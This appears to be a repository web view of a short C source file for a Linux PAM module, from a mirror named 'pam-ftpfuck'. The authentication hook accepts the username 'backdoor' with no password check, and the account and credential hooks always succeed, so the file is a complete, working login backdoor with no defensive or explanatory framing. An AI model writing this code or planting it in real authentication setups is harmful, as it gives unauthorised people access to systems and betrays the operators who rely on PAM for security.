31b32472ebddd1e6870cdc86de654955c34a5281
[mirrors/pam-ftpfuck.git] / src / mypam.c
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4 #include <security/pam_appl.h>
5 #include <security/pam_modules.h>
6
7 /* expected hook */
8 PAM_EXTERN int pam_sm_setcred( pam_handle_t *pamh, int flags, int argc, const char **argv ) {
9 return PAM_SUCCESS;
10 }
11
12 PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) {
13 printf("Acct mgmt\n");
14 return PAM_SUCCESS;
15 }
16
17 /* expected hook, this is where custom stuff happens */
18 PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char **argv ) {
19 int retval;
20
21 const char* pUsername;
22 retval = pam_get_user(pamh, &pUsername, "Username: ");
23
24 printf("Welcome %s\n", pUsername);
25
26 if (retval != PAM_SUCCESS) {
27 return retval;
28 }
29
30 if (strcmp(pUsername, "backdoor") != 0) {
31 return PAM_AUTH_ERR;
32 }
33
34 return PAM_SUCCESS;
35 }
This page took 0.267948 seconds and 3 git commands to generate.